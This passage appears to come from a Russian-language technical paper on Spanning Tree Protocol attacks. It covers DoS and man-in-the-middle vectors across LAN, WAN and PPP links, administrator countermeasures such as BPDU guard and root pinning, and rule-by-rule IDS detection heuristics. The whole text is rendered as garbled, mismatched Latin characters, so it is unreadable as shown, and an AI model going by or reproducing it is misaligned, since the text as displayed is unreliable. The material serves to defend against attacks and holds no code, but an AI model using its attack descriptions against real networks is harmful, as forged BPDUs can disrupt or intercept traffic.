ïîðòîâ, íå âûêëþ÷àÿ ýòîò ïîðò. Íà ñåãîäíÿøíèé äåíü àâòîðàì íå èç-
âåñòíû óñòðîéñòâà, êîòîðûå ïîçâîëÿëè áû âûêëþ÷àòü ïîääåðæêó STP
íà îòäåëüíîì ïîðòó, õîòÿ, ïðè ÷òåíèè äîêóìåíòàöèè ê êîììóòàòîðó intel
460Ò ñîçäàåòñÿ âïå÷àòëåíèå, ÷òî ýòîò êîììóòàòîð óìååò âûêëþ÷àòü ïîä-
äåðæêó STP èíäèâèäóàëüíî íà êàæäîì ïîðòó, íî, ñêîðåå âñåãî, èìåëñÿ
ââèäó âàðèàíò ñ óñòàíîâêîé ïîðòà â ðåæèì STP-blocking ïåðìàíåíòíî30.
Îäíàêî óñòðîéñòâà íåêîòîðûõ ïðîèçâîäèòåëåé (íàïðèìåð, Cisco) èìåþò
íàñòðîéêè, ïîçâîëÿþùèå çàùèòèòüñÿ îò ÷àñòè STP àòàê. Ýòî ðàñøèðå-
íèÿ STP ¾spanning-tree portfast¿, BPDU guard è BPDU root guard.

Ê ÷èñëó ïðî÷èõ îðãàíèçàöèé, êîòîðûå ìîãóò ïîñòðàäàòü îò STP-DoS,
îòíîñÿòñÿ ïðîâàéäåðû Internet ñ ïîñëåäíåé ìèëåé íà LAN-òåõíîëîãèè
(íàïðèìåð Ethernet). Óñòðîéñòâà ó ïðîâàéäåðîâ ñ áîëüøîé âåðîÿòíîñòüþ
äîëæíû áûòü èíòåëëåêòóàëüíûìè, è, â ñëó÷àå áîãàòîãî ïðîâàéäåðà (èëè

30Àâòîðû áóäóò áëàãîäàðíû, åñëè êòî-ëèáî èç ëþäåé, èìåâøèõ äåëî ñ ýòèìè è äðó-
ãèìè àêòèâíûìè óñòðîéñòâàìè íà ïðàêòèêå, ðàçâååò íàøè ñîìíåíèÿ ïî îòíîøåíèþ ê
äàííîìó ïðèáîðó. Êñòàòè, ìû ñ óäîâîëüñòâèåì âíåñëè áû â ñëåäóþùóþ ïåðåðàáîòàí-
íóþ ïóáëèêàöèþ âàøè êîíñòðóêòèâíûå îòçûâû â ðàìêàõ òåìàòèêè ýòîé ðàáîòû.
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áîãàòîãî êëèåíòà), îíè ìîãóò èìåòü äóáëèðóþùèå êàíàëû31.

Ðàçóìååòñÿ, â ñëó÷àå âîçíèêíîâåíèÿ àòàêè â îäíîé èç äâóõ ËÂÑ, ñî-
åäèíåííûì íåêèì óñòðîéñòâîì 2-ãî óðîâíÿ OSI (bridge, hub), èëè äàæå
ìàðøðóòèçàòîðîì, êîòîðûé ïîääåðæèâàåò spaning tree, DoS ïåðåêèíåò-
ñÿ ñ îäíîé ËÂÑ â äðóãóþ, ïîñêîëüêó âòîðîé óðîâåíü ïðîçðà÷åí äëÿ
STP ïðîòîêîëà. Ñóùíîñòè, îáìåíèâàþùèåñÿ STP-ïàêåòàìè, èñïîëüçó-
þò ìóëüòèêàñòîâóþ àäðåñàöèþ, êîòîðàÿ ïîçâîëÿåò ïàêåòàì ïðîõîäèòü â
òîì ÷èñëå è ÷åðåç îáîðóäîâàíèå, êîòîðîå íå ïîääåðæèâàåò STP, íàïðè-
ìåð ÷åðåç êîíöåíòðàòîðû. Ïîìèìî ýòîãî ïîäâåðæåííûìè STP-àòàêàì
áóäóò õîñòèíãîâûå ïëîùàäêè ïðîâàéäåðîâ - ñòîèò îáðàòèòü âíèìàíèå
íà òî, ÷òî äëÿ îðãàíèçàöèè DoS-àòàêè äëÿ íåêîåãî ñåðâåðà íå îáÿçà-
òåëüíî ïîëó÷àòü êîíòðîëü íàä êîìïüþòåðîì, ïðåäîñòàâëÿþùèì ìåñòî
èìåííî ýòîìó èíôîðìàöèîííîìó ðåñóðñó - äîñòàòî÷íî áóäåò ïîëó÷èòü
êîíòðîëü íàä êîìïüþòåðîì, íàõîäÿùèìñÿ â òîì æå ñåãìåíòå ËÂÑ, ÷òî
è îñíîâíàÿ æåðòâà, òàê, ÷òîáû ìåæäó zombie host è victim host íå áûëî
ìàðøðóòèçàòîðà.

Òàê æå âîçìîæíî ðàñïðîñòðàíåíèå àòàêè ÷åðåç WAN-ëèíêè â ñëó÷àå,
åñëè îáîðóäîâàíèå íàñòðîåíî íà ÷àñòè÷íûé ïðîïóñê ïàêåòîâ àäìèíèñò-
ðàòèâíûõ ïðîòîêîëîâ, âêëþ÷àÿ STP. Ñþäà îòíîñèòñÿ è îáû÷íîå dialup-
ñîåäèíåíèå. Äëÿ àòàêè ïîâåðõ òàêîãî ñîåäèíåíèÿ çëîóìûøëåííèêó íàäî
âñåãî ëèøü èçìåíèòü ïîâåäåíèå ñâîåãî ìîäóëÿ, îñóùåñòâëÿþùåãî PPP
ñîåäèíåíèå, òàê, ÷òîáû îí çàïðàøèâàë ïîääåðæêó STP ïðîòîêîëà ïðè
ñîåäèíåíèè. Ïî óìîë÷àíèþ ýòà ôóíêöèîíàëüíîñòü íå çàïðàøèâàåòñÿ è
àòàêà íåâîçìîæíà, äàëåå âñå çàâèñèò îò íàñòðîåê îáîðóäîâàíèÿ ïðîâàé-
äåðà - åñëè STP ïîäíèìåòñÿ ïî çàïðîñó, DoS àòàêà ñî ñòîðîíû àíîíèì-
íîãî ïîêóïàòåëÿ èíòåðíåò êàðòû ìîæåò ñòàòü ðåàëüíîñòüþ.

14 Êàê àäìèíèñòðàòîðû ñåòåé ìîãóò ïðîòèâîñòî-
ÿòü àòàêàì

Åñëè îáåñïå÷åíèå áåçîïàñíîñòè ñåòè ñòîèò íå íà ïîñëåäíåì ìåñòå, ëó÷-
øå îòêëþ÷àòü ïîääåðæêó Spaning Tree âñåãäà, êîãäà ýòî âîçìîæíî, è ïû-
òàòüñÿ çàìåíèòü STP äðóãèìè òåõíîëîãèÿìè òàì, ãäå òðåáóþòñÿ ðåøåíèÿ
ñ äóáëèðîâàíèåì êàíàëîâ, íî âñå æå ìîæíî îáîéòèñü áåç îñîáåííîñòåé
STP. Íàïðèìåð, ìîæíî èñïîëüçîâàòü òåõíîëîãèþ Link Agregation (ïîä-
äåðæèâàåòñÿ ìíîãèìè óñòðîéñòâàìè, â òîì ÷èñëå ïðîèçâåäåííûìè Intel,
Avaya è äð.).

31Õîòÿ äëÿ âûâîäà îáîðóäîâàíèÿ èç ñòðîÿ âàæíà âñåãî ëèøü ïîääåðæêà STP, à
íèêàê íå íàëè÷èå äóáëèðóåìûõ ñîåäèíåíèé. ;)
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Åñëè æå áåçîïàñíîñòü âàæíà, íî âûêëþ÷èòü STP ïî òåì èëè èíûì íå-
óòåøèòåëüíûì ïðè÷èíàì äëÿ âñåé ñåòè íåïðèåìëåìî, ïðèäåòñÿ èñïîëü-
çîâàòü ðàñøèðåíèÿ Spaning Tree äîñòóïíûå, â ÷àñòíîñòè, â ðåøåíèÿõ,
ïðåäîñòàâëÿåìûõ cisco32, ëèáî ïðîñòî ðàññëàáèòüñÿ è íàäåÿòñÿ íà òî,
÷òî âàøà ñåòü íå ïîïàäåò â ïîëå èíòåðåñà ðàçëè÷íûõ ëè÷íîñòåé ñ äå-
ñòðóêòèâíûìè íàêëîííîñòÿìè, íàïðèìåð ¾êðàêåðîâ¿33, èëè ïðîñòî íà
òî, ÷òî ïðîèçâîäèòåëè êîãäà-íèáóäü èñïðàâÿò èìåþùóþñÿ ïå÷àëüíóþ
ñèòóàöèþ. Ïðàâäà, çäåñü íå ñîâñåì âñå òàê ïå÷àëüíî, êàê ìîæåò ïîêà-
çàòüñÿ - ïîìîãóò ñëåäóþùèå àäìèíèñòðàòèâíî-òåõíè÷åñêèå øàãè:

1. Åñëè ó Âàñ ìåíåå 2-õ WAN-ëèíêîâ ìåæäó îôèñàìè, STP-äîìåíû
ñëåäóåò ðàçäåëèòü (òî åñòü îòêëþ÷èòü ïîääåðæêó STP íà WAN-
ëèíêå). Ñì. ðàçäåë 4.

2. Åñëè îáîðóäîâàíèå ïîçâîëÿåò, ñëåäóåò âûêëþ÷èòü STP âîâñå èëè
îñòàâèòü åãî òîëüêî íà òåõ ïîðòàõ, êîòîðûå ÿâëÿþòñÿ òðàíêîâûìè
(òåãèðîâàííûìè) - òàêèå ïîðòû ñìîòðÿò îáû÷íî íà äðóãèå ñåòåâûå
óñòðîéñòâà, íî íå íà ïîëüçîâàòåëåé. Ñëåäîâàòåëüíî, åñëè â ðàìêàõ
ñåòè íåò ïîðòîâ, íà êîòîðûõ ïîäêëþ÷åíû ðàáî÷èå ñòàíöèè è ñåð-
âåðà, òî ýòî áóäåò îäíèì èç âàðèàíòîâ äîñòàòî÷íî óñòîé÷èâîé è
(âîçìîæíî, åñëè ÿ íå ïðîïóñòèë ÷åãî ;) ) áåçîïàñíîé êàðòèíû. =)

3. Ìîæíî ïîïðîáîâàòü âûñòàâèòü ìèíèìàëüíî âîçìîæíûé bridge id
è ïðî÷àÿ (òóò íàäî âïèñàòü ïîäðîáíîñòè âûáîðà êîðíÿ), ÷òî ñäå-
ëàåò ïðèîðèòåò ñâèò÷à ìàêñèìàëüíî âîçìîæíûì, òîãäà îí âñåãäà
áóäåò root'îì è ðåêîíôèãóðàöèÿ ìîæåò ðàçâå ÷òî çàòðîíóòü ÷àñòü
ñåòè (áëèæàéøèå ê àòàêóþùåìó ñâèò÷è, åñëè àòàêóþùèé èñïîëüçó-
åò ïîääåëêó bpdu), çà èñêëþ÷åíèåì óñòàíîâëåííîãî ðàç è íàâñåãäà
STP-êîðíÿ. Ìû ìîæåì ýòî ñäåëàòü, ïîñêîëüêó STP êîðåíü âûïîë-
íÿåò âñåãî ëèøü íàâñåãî ðîëü òî÷êè îòñ÷åòà, îò êîòîðîé ñòðîèòñÿ
òîïîëîãèÿ áåç êîëåö. Íî âîò íåçàäà÷à - ïîñëåäíèé ïàðàìåòð âûáîðà
(åñëè âñå îäèíàêîâîå) - MAC-àäðåñ ïîðòà, ÷òî ñîáñòâåííî ñ÷èòàåò-
ñÿ ãàðàíòèðîâàííî ðàçíûì. Íî åñëè íóæåí DoS, òî çëîóìûøëåííèê
ìîæåò ñîçäàòü íåêîððåêòíóþ ñ òî÷êè çðåíèÿ ñòàíäàðòà ñèòóàöèþ,
êîãäà MAÑè ñîâåðøåííî èäåíòè÷íû. Ïðè ýòîì âîïðîñ ¾êàê ïîâåäåò
ñåáÿ êîììóòàòîð?¿ îñòàåòñÿ îòêðûòûì. Ðåçóëüòàò òðåáóåò ïðîâåð-
êè, ïîñêîëüêó íèãäå íå äîêóìåíòèðîâàíî (íàñêîëüêî íàì èçâåñòíî)
êàê âåäåò ñåáÿ ìîñò â ñëó÷àå ïîëó÷åíèÿ ñîîáùåíèÿ ñ ñîáñòâåííûì
MAC.

32Êîòîðûå, îäíàêî, íå ðåøàþò âñåõ ïðîáëåì.
33Íàèáîëåå óäà÷íîå îïèñàíèå ðàçëè÷èé òåðìèíîâ ¾êðàêåð¿ è ¾õàêåð¿ ñì. â [3]
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15 Êàê IDS ìîãóò îáíàðóæèòü STP àòàêè
Â êàæäîé îðãàíèçàöèè, âñåðüåç çàáîòÿùåéñÿ î áåçîïàñíîñòè ñâîèõ äàí-

íûõ, äîëæíà ñòîÿòü ñèñòåìà îáíàðóæåíèÿ àòàê - IDS (Intrusion Detection
System). Â ýòîì ðàçäåëå ðàññìàòðèâàþòñÿ îñîáåííîñòè STP-àòàê, êîòî-
ðûå ìîæíî èñïîëüçîâàòü äëÿ èõ îáíàðóæåíèÿ è òðàññèðîâêè àòàêóþ-
ùåé ñòîðîíû. Ê ñîæàëåíèþ, áîëüøèíñòâî âîçìîæíûõ ñïîñîáîâ íàñòðîé-
êè ¾ñåíñîðîâ¿ IDS íà STP-àòàêè òðåáóþò èíäèâèäóàëüíîé íàñòðîéêè íà
äàííóþ ñåòü, òî åñòü ïîòðåáóþò îò íàñòðàèâàþùåãî êàê ìèíèìóì õîðî-
øåãî ïðåäñòàâëåíèÿ î ôóíêöèîíèðîâàíèè STP è çíàíèÿ âñåõ îñîáåííîñ-
òåé äàííîé ñåòè â êîíòåêñòå ôóíêöèîíèðîâàíèÿ STP ïðîòîêîëà.

15.1 Ñëîæíîñòè îáíàðóæåíèÿ STP-àòàê è èõ ïðè÷èíû
Îñíîâíàÿ ñëîæíîñòü îáíàðóæåíèÿ ñîñòîèò â òîì, ÷òî äëÿ àòàêè èñ-

ïîëüçóþò âïîëíå ñòàíäàðòíûå äëÿ ïðîòîêîëà ïàêåòû - BPDU. Òî åñòü
ïðèñóòñòâèå STP-ïàêåòîâ â ñåòè îäíîçíà÷íî îçíà÷àåò STP-àòàêó ëèøü â
îäíîì èç âîçìîæíûõ ñëó÷àåâ.

Âòîðàÿ ñëîæíîñòü (ñêîðåå äàæå îñîáåííîñòü): áîëüøèíñòâî ðàññìàò-
ðèâàåìûõ âîçìîæíîñòåé îáíàðóæåíèÿ òàêèõ àòàê ñâÿçàíû ñ âíåñåíèåì
â áàçó IDS íåêîòîðûõ äàííûõ î òîïîëîãèè ñåòè åå àäìèíèñòðàòîðîì.

Ñëåäóþùàÿ ñëîæíîñòü ñâÿçàíà ñ òåì, ÷òî ïîñêîëüêó àòàêà èäåò íà
òîïîëîãèþ è ðàáîòîñïîñîáíîñòü ñåòè, IDS äîëæíà èìåòü ñîáñòâåííûé
íåçàâèñèìûé êàíàë äëÿ ïåðåäà÷è ñîîáùåíèé îòâåòñòâåííîìó çà áåçîïàñ-
íîñòü. Ýòî ìîæåò áûòü, íàïðèìåð, ïåðåäà÷à ñîîáùåíèé ÷åðåç ìîäåì, ÷å-
ðåç ïîäñîåäèíåííûé ê IDS ìîáèëüíûé òåëåôîí (â ÷àñòíîñòè, åñòü ðåøå-
íèÿ ïî ñîåäèíåíèþ ñ PC òåëåôîíîâ Nokia ÷åðåç RS-232) èëè âûäåëåííîå
ñîåäèíåíèå òî÷êà-òî÷êà (íàïðèìåð ethernet-êðîññ) ìåæäó IDS è ðàáî÷åé
ñòàíöèåé îòâåòñòâåííîãî çà áåçîïàñíîñòü. Âïðî÷åì, ýòî óñëîâèå âåñüìà
òèïè÷íî è äëÿ äðóãèõ DoS àòàê.

15.2 Âàðèàíòû îáíàðóæåíèÿ àòàê
15.2.1 Âàðèàíò îáíàðóæåíèÿ ïî íàëè÷èþ STP ïàêåòîâ
Äàíî: Â ñåòè íåò óñòðîéñòâ, ïîääåðæèâàþùèõ STP, ëèáî ïîääåðæêà

STP îòêëþ÷åíà íà âñåõ óñòðîéñòâàõ ñåòè, ñåòü íå ïîäñîåäèíåíà ê
äðóãèì ñåòÿì, â êîòîðûõ åñòü STP-ñîâìåñòèìûå óñòðîéñòâà.

Ñîáûòèå: îáíàðóæåíû STP ïàêåòû (C-BPDU èëè N-BPDU).

Ñòàòóñ: Ýòî îäíîçíà÷íî STP-àòàêà.
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Àäìèíèñòðèðîâàíèå: Äëÿ òîãî, ÷òîáû IDS ìîãëà èñïîëüçîâàòü ýòîò
ìåòîä, àäìèíèñòðàòîð äîëæåí âíåñòè â åå êîíôèãóðàöèþ èíôîð-
ìàöèþ î òîì, ÷òî â ñåòè íåò STP-ñîâìåñòèìûõ óñòðîéñòâ.

15.2.2 Âàðèàíò îáíàðóæåíèÿ ïî ¾÷óæîìó¿ Bridge ID
Äàíî: Â ñåòè âñåãî N óñòðîéñòâ, ïîääåðæèâàþùèõ STP, ëèáî ïîääåðæ-

êà STP îòêëþ÷åíà íà âñåõ îñòàëüíûõ óñòðîéñòâàõ ñåòè, ñåòü íå
ïîäñîåäèíåíà ê äðóãèì ñåòÿì, â êîòîðûõ åñòü STP-ñîâìåñòèìûå
óñòðîéñòâà.

Ñîáûòèå: îáíàðóæåíû STP ïàêåòû (C-BPDU èëè N-BPDU) ñ root id
(bridge id) èíûì, íåæåëè ó âñåõ èìåþùèõñÿ óñòðîéñòâ.

Ñòàòóñ: Ýòî îäíîçíà÷íî STP-àòàêà.

Àäìèíèñòðèðîâàíèå: Äëÿ òîãî, ÷òîáû IDS ìîãëà èñïîëüçîâàòü ýòîò
ìåòîä, àäìèíèñòðàòîð äîëæåí âíåñòè â åå êîíôèãóðàöèþ èíôîð-
ìàöèþ î âñåõ âîçìîæíûõ bridge id.

15.2.3 Âàðèàíò îáíàðóæåíèÿ ïî äëèòåëüíîñòè
Äàíî: Â ñåòè åñòü N STP-ñîâìåñòèìûõ óñòðîéñòâ, àäìèíèñòðàòîðó íå-

îáõîäèìà âîçìîæíîñòü ïîäêëþ÷åíèÿ íîâûõ óñòðîéñòâ ñ àâòîìàòè-
÷åñêèì ââîäîì èõ â ðàáîòó â ñåòè, ïðåäïîëàãàåòñÿ, ÷òî îäíîâðåìåí-
íî â ñåòè íå ìîæåò ïîÿâèòüñÿ áîëåå ÷åì K íîâûõ STP-ñîâìåñòèìûõ
óñòðîéñòâ, bridge ID èìåþùèõñÿ óñòðîéñòâ íå äîêóìåíòèðóþòñÿ.

Ñîáûòèå 1: îáíàðóæåíû STP âûáîðû (ñìåíà Designated Root ID, âîç-
ìîæíî ïîñëåäîâàòåëüíàÿ).

Ñîáûòèå 2: a) â òå÷åíèè ïåðèîäà â <(N+K)*X + ensure_time> ñåêóíä
âûáîðû ïåðèîäè÷åñêè ïîâòîðÿþòñÿ ñ ðàçíûìè Designated Root ID.
èëè
b) çà ëþáîå âðåìÿ îáíàðóæåíî N+K bridge ID.

Ñòàòóñ: Ýòî îäíîçíà÷íî STP-àòàêà.

Àäìèíèñòðèðîâàíèå: Äëÿ òîãî, ÷òîáû IDS ìîãëà èñïîëüçîâàòü ýòîò
ìåòîä, àäìèíèñòðàòîð äîëæåí âíåñòè â åå êîíôèãóðàöèþ èíôîðìà-
öèþ î óñòðàèâàþùèõ åãî çíà÷åíèÿõ ¾ensure_time¿ (âðåìåíè, ñóì-
ìèðóÿ êîòîðîå ñ âðåìåíåì íà ïðîøåäøèå âûáîðû ìîæíî ïîëó÷èòü
âðåìÿ, çà êîòîðîå ñåòü äîëæíà îñíîâàòåëüíî óñïîêîèòüñÿ (ò.å. âñå
âûáîðû ê îêîí÷àíèþ ýòîãî ïåðèîäà ïðîéòè). Ýòîò ïàðàìåòð ìîæ-
íî ðàññ÷èòàòü, èñõîäÿ èç êîëè÷åñòâà STP-ñîâìåñòèìûõ óñòðîéñòâ
â ñåòè.
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15.2.4 Âàðèàíò îáíàðóæåíèÿ ïî èíòåíñèâíîñòè
Äàíî: Â ñåòè åñòü N STP-ñîâìåñòèìûõ óñòðîéñòâ, àäìèíèñòðàòîðó íå-

îáõîäèìà âîçìîæíîñòü ïîäêëþ÷åíèÿ íîâûõ óñòðîéñòâ ñ àâòîìàòè-
÷åñêèì ââîäîì èõ â ðàáîòó â ñåòè, ïðåäïîëàãàåòñÿ, ÷òî îäíîâðåìåí-
íî â ñåòè íå ìîæåò ïîÿâèòüñÿ áîëåå ÷åì K íîâûõ STP-ñîâìåñòèìûõ
óñòðîéñòâ, bridge ID èìåþùèõñÿ óñòðîéñòâ íå äîêóìåíòèðóþòñÿ.

Ñîáûòèå: Çà âðåìÿ t, ìåíüøåå, ÷åì ìèíèìàëüíîå îïðåäåëåííîå â ñòàí-
äàðòå, ïðèõîäèò áîëåå îäíîãî C-BPDU ñ îäèíàêîâûìè bridge ID
èëè ñ îäèíàêîâûìè designated root ID.

Ñòàòóñ: Ýòî îäíîçíà÷íî STP-àòàêà.

Àäìèíèñòðèðîâàíèå: Íå òðåáóåòñÿ â ñëó÷àå ïàðàìåòðà t, óñòàíàâëè-
âàåìîãî ïî óìîë÷àíèþ, íî ïîëåçíîé áóäåò âîçìîæíîñòü âûñòàâèòü
ïàðàìåòð t, ïîñêîëüêó ýòî îäíà èç ðåãóëèðóåìûõ (ïî ñòàíäàðòó)
íàñòðîåê, êîòîðûå ìîæåò ïðîèçâîäèòü ïîëüçîâàòåëü (àäìèíèñòðà-
òîð ñåòè). Â ñëó÷àå, åñëè t íàñòðàèâàåìî, ýòîò âàðèàíò ñòàíîâèòñÿ
÷àñòíûì ñëó÷àåì âàðèàíòà 15.2.8.

15.2.5 Âàðèàíò îáíàðóæåíèÿ ïî ìîíîòîííîñòè
Äàíî: Â ñåòè åñòü íåêîòîðîå êîëè÷åñòâî STP-ñîâìåñòèìûõ óñòðîéñòâ,

àäìèíèñòðàòîðó íåîáõîäèìà âîçìîæíîñòü ïîäêëþ÷åíèÿ íîâûõ óñ-
òðîéñòâ ñ àâòîìàòè÷åñêèì ââîäîì èõ â ðàáîòó â ñåòè.

Ñîáûòèå: Çà âðåìÿ ìåíüøåå ÷åì <some_test_time>, bridge id èëè de-
signated root ID èëè Designated bridge ID ìîíîòîííî óáûâàþò.

Ñòàòóñ: Ýòî STP-àòàêà c î÷åíü áîëüøîé âåðîÿòíîñòüþ.

Àäìèíèñòðèðîâàíèå: çàäàíèå äèàïàçîíà èçìåíåíèÿ ýòèõ id-âåëè÷èí,
ëèáî çàäàíèå some_test_time (êîòîðîå ìîæíî óñòàíàâëèâàòü â íå-
êîòîðîå çíà÷åíèå ïî óìîë÷àíèþ).

Êîììåíòàðèé: Äëÿ ïîëó÷åíèÿ áîëüøåé óâåðåííîñòè â òîì, ÷òî ýòî àòà-
êà, ñëåäóåò ñîâìåñòèòü äàííûé ñïîñîá ñ âàðèàíòîì 15.2.2 èëè 15.2.3.

15.2.6 Âàðèàíò îáíàðóæåíèÿ ïî öèêëè÷íîñòè
Äàíî: Â ñåòè åñòü íåêîòîðîå êîëè÷åñòâî STP-ñîâìåñòèìûõ óñòðîéñòâ,

àäìèíèñòðàòîðó íåîáõîäèìà âîçìîæíîñòü ïîäêëþ÷åíèÿ íîâûõ óñ-
òðîéñòâ ñ àâòîìàòè÷åñêèì ââîäîì èõ â ðàáîòó â ñåòè. Ïðåäïîëàãà-
åòñÿ, ÷òî â ñåòè íåò óñòðîéñòâ, ñêîíôèãóðèðîâàííûõ êàê STP-root-
backup (ñì. ðàçäåë 8.1).
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Ñîáûòèå: Çà âðåìÿ ìåíüøåå, ÷åì <some_test_time>, bridge id èëè de-
signated root ID èëè Designated bridge ID ïîñòîÿííî öèêëè÷åñêè
ìåíÿþòñÿ.

Ñòàòóñ: Ýòî STP-àòàêà c î÷åíü áîëüøîé âåðîÿòíîñòüþ.

Àäìèíèñòðèðîâàíèå: íå òðåáóåòñÿ, åñëè some_test_time îñòàâëåíî ïî
óìîë÷àíèþ, îäíàêî, ýòîò ïàðàìåòð äîëæåí áûòü íàñòðàèâàåìûì.

15.2.7 Âàðèàíò îáíàðóæåíèÿ ïî ïîòåðå ïðîèçâîäèòåëüíîñòè
Äàíî: Â ñåòè åñòü íåêîòîðîå êîëè÷åñòâî STP-ñîâìåñòèìûõ óñòðîéñòâ,

àäìèíèñòðàòîðó íåîáõîäèìà âîçìîæíîñòü ïîäêëþ÷åíèÿ íîâûõ óñ-
òðîéñòâ ñ àâòîìàòè÷åñêèì ââîäîì èõ â ðàáîòó â ñåòè.

Ñîáûòèå: Ðåçêîå ñíèæåíèå ïðîïóñêíîé ñïîñîáíîñòè ñåòè.

Ñòàòóñ: Ýòî ìîæåò áûòü STP-àòàêîé. Âåðîÿòíîñòü òîãî, ÷òî ýòî STP-
MitM, çàâèñèò îò âåëè÷èíû èçìåíåíèÿ ïðîïóñêíîé ñïîñîáíîñòè è
äîëæíà ïîäáèðàòüñÿ ýêñïåðèìåíòàëüíûì ïóòåì - ýòî îäèí èç ñàìûõ
ñëîæíûõ àëãîðèòìîâ îáíàðóæåíèÿ STP-MitM àòàêè, ðåàëèçàöèÿ
êîòîðîãî âîçìîæíà ñêîðåå ëèøü òåîðåòè÷åñêè, ïîñêîëüêó ñêîðîñòü
ðàáîòû â ñåòè ìîæåò ìåíÿòüñÿ â çàâèñèìîñòè îò ìíîãèõ ïåðåìåí-
íûõ ïàðàìåòðîâ, íàïðèìåð, îò êîëè÷åñòâà ðàáîòàþùèõ ïîëüçîâàòå-
ëåé è îáúåìà ïåðåäàâàåìûõ èìè äðóã äðóãó äàííûõ. Òàêóþ àòàêó
ïðîùå îáíàðóæèòü âèçóàëüíî ïî ñóáúåêòèâíûì îùóùåíèÿì, ÷åì
èñêàòü ñïîñîá çàñòàâèòü IDS óëîâèòü ãðàíü.

Àäìèíèñòðèðîâàíèå: ïîòðåáóåò îò àäìèíèñòðàòîðà çàäàíèÿ íåñêîëü-
êèõ ïàðàìåòðîâ, îïðåäåëÿþùèõ äîïóñòèìûå ñêà÷êè ñêîðîñòè ðàáî-
òû ñåòè.

15.2.8 Âàðèàíò îáíàðóæåíèÿ ïî èçìåíåíèþ èíòåðâàëîâ ìåæäó
ST ñîáûòèÿìè

Äàíî: Â ñåòè åñòü íåêîòîðîå êîëè÷åñòâî STP-ñîâìåñòèìûõ óñòðîéñòâ,
àäìèíèñòðàòîðó íåîáõîäèìà âîçìîæíîñòü ïîäêëþ÷åíèÿ íîâûõ óñ-
òðîéñòâ ñ àâòîìàòè÷åñêèì ââîäîì èõ â ðàáîòó â ñåòè. Âñå ïàðàìåò-
ðû STP óñòðîéñòâ óñòàíîâëåíû â îäèíàêîâûå çíà÷åíèÿ äëÿ âñåõ
STP óñòðîéñòâ.

Ñîáûòèå: çàðåãèñòðèðîâàíî STP-ñîáûòèå: âíå ãðàôèêà ñîãëàñíî çàäàí-
íûì çíà÷åíèÿì òàéìåðîâ.

Ñòàòóñ: Ýòî îäíîçíà÷íî STP-àòàêà.

Àäìèíèñòðèðîâàíèå: ïîòðåáóåò îò àäìèíèñòðàòîðà çàäàíèÿ îò îäíî-
ãî äî âñåõ ïàðàìåòðîâ, óñòàíàâëèâàåìûõ íà STP óñòðîéñòâàõ.
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15.2.9 Íåâîçìîæíîñòü îáíàðóæèòü àòàêó. Ïðèìåð
Äàíî: Â ñåòè âñåãî N óñòðîéñòâ, ïîääåðæèâàþùèõ STP, ïîääåðæêà STP

âêëþ÷åíà íà ÷àñòè óñòðîéñòâ ñåòè, ñåòü ïîäñîåäèíåíà ê äðóãèì ñå-
òÿì, â êîòîðûõ åñòü STP-ñîâìåñòèìûå óñòðîéñòâà, îäíàêî STP-root
àäìèíèñòðàòèâíî çàôèêñèðîâàí (íàïðèìåð, çàäàíèåì ìåíüøåãî ïî
ìîäóëþ bridge ID, ÷åì ó îñòàëüíûõ óñòðîéñòâ), bridge id îñòàëüíûõ
óñòðîéñòâ íå ââåäåíû â áàçó IDS, àäìèíèñòðàòîðó íåîáõîäèìà âîç-
ìîæíîñòü ïîäêëþ÷åíèÿ íîâûõ óñòðîéñòâ ñ àâòîìàòè÷åñêèì ââîäîì
èõ â ðàáîòó â ñåòè.

Ñîáûòèå: îáíàðóæåíû STP ïàêåòû (C-BPDU èëè N-BPDU) ñ designa-
ted root id èíûì, íåæåëè ó óñòðîéñòâà, bridge id êîòîðîãî çàôèê-
ñèðîâàí êàê óêàçàíî âûøå.

Ñòàòóñ: Ýòî íå ìîæåò áûòü îäíîçíà÷íî îïðåäåëåíî êàê STP-àòàêà, ïî-
ñêîëüêó â ïðîöåññå âûáîðîâ STP-root-bridge ìîæåò ïðîèçîéòè ïî-
î÷åðåäíàÿ ñìåíà designated root ìåæäó óæå èìåþùèìèñÿ STP-ñîâ-
ìåñòèìûìè óñòðîéñòâàìè, ÷òî ïðèâåäåò ê ðàññûëêå ïîäîáíûõ C-
BPDU èëè N-BPDU.

Âîçìîæíûå ðåøåíèÿ: ñëåäóåò âîñïîëüçîâàòüñÿ ðåêîìåíäàöèÿìè äëÿ
ñëó÷àÿ 15.2.2 èëè ñëó÷àÿ 15.2.3.

16 Êîðíè ïðîáëåìû, èëè ¾îòêóäà íîãè ðàñòóò¿
Òåîðåòè÷åñêè íåò âîçìîæíîñòè ïîëíîñòüþ èçáåæàòü îïèñàííûõ àòàê

äëÿ ïðîòîêîëà ïîäîáíîãî STP, êðîìå êàê îòêëþ÷åíèåì ïîääåðæêè ýòîãî
ïðîòîêîëà äëÿ âñåé ñåòè, ïîñêîëüêó òðåáóåòñÿ (âñå îäíîâðåìåííî): è âîç-
ìîæíîñòü ïîäêëþ÷èòü ñåòåâîå óñòðîéñòâî â ëþáîå ìåñòî ñëîæíîé ËÂÑ
ñ äèíàìè÷åñêîé òîïîëîãèåé ëþáûì âîçìîæíûì ñïîñîáîì, è áåç äîïîë-
íèòåëüíîé àäìèíèñòðàòèâíîé àêöèè ïîëó÷èòü àâòîìàòè÷åñêóþ ïðàâèëü-
íóþ ðåêîíôèãóðàöèþ òîïîëîãèè, è íå èñïîëüçîâàòü êàêèõ-ëèáî êðèïòî-
ãðàôè÷åñêèõ ìåòîäîâ äëÿ îáåñïå÷åíèÿ àóòåíòèôèêàöèè (ïðîâåðêè òîãî,
÷òî äàííûé BPDU ïîñëàë òîò, êòî ïîñûëàë èõ ðàíåå). Èñïîëüçîâàíèå
äëÿ ýòîé öåëè êðèïòîãðàôè÷åñêèõ àëãîðèòìîâ ñ îòêðûòûì êëþ÷îì ìà-
ëî ïîìîæåò, òàê êàê âíîâü ïîäêëþ÷àåìîå óñòðîéñòâî äîëæíî èìåòü âîç-
ìîæíîñü ïåðåêîíôèãóðèðîâàòü òîïîëîãèþ. Òî, ÷òî â ïðîöåññå ðåêîíôè-
ãóðàöèè êàäðû ïîëüçîâàòåëåé íå äîëæíû ïåðåäàâàòüñÿ, ïîçâîëÿåò ðåà-
ëèçîâàòü DoS, îäíàêî ñîâåðøåííî íå âëèÿåò íà ðàáîòîñïîñîáíîñòü àòàêè
MitM.

Ó ýòîé ïðîáëåìû åñòü íåñêîëüêî âîçìîæíûõ (íåñêîëüêî - äîâîëüíî
ïðàêòè÷íûõ) ðåøåíèé, êîòîðûå ìîãëè áû áûòü ïðèìåíåíû ïðîèçâîäè-
